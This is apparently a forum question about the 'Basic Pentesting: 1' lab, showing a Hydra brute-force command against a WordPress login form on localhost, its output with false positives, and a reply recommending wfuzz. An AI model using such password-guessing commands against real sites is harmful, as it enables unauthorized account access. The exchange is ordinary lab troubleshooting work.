0

This question is based on security challenge on Basic Pentesting: 1.

Feel free to download if you want to reproduce this issue as well.

It's easy to do this if there's only a single error message when credentials entered was wrong such as DVWA login page challenge.

However, there are 3 different error for this challnge.

Here are 3 different scenario that I've tested.

1. u:root p:root
ERROR: Invalid username. Lost your password?

2. u:root/admin p:<blank>
ERROR: The password field is empty.

3. u:admin p:random
ERROR: The password you entered for the username admin is incorrect. Lost your password?

In this example, I'll use the 1st error which is Invalid username as hydra's blacklisting value.

hydra -V -e nsr -l admin \
127.0.0.1 http-post-form \
'/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'

E.g.

wolf@linux:~$ hydra -V -e nsr -l admin \
> 127.0.0.1 http-post-form \
> '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-07 18:20:37
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "admin" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "nimda" - 3 of 3 [child 2] (0/0)
[80][http-post-form] host: 127.0.0.1   login: admin
[80][http-post-form] host: 127.0.0.1   login: admin   password: nimda
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-07 18:20:38
wolf@linux:~$ 

The problem is if the error string is not Invalid username, then hydra will assume the credentials are correct.

How do I fix this problem?

Is it possible to combine multiple blacklisting value in Hydra?

1 Answer 1

1

Hi Hydra Is not the best tool to bruteforce http post forma i suggest to use wfuzz

Here there Is the documentation of Wfuzz https://tools.kali.org/web-applications/wfuzz

2

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .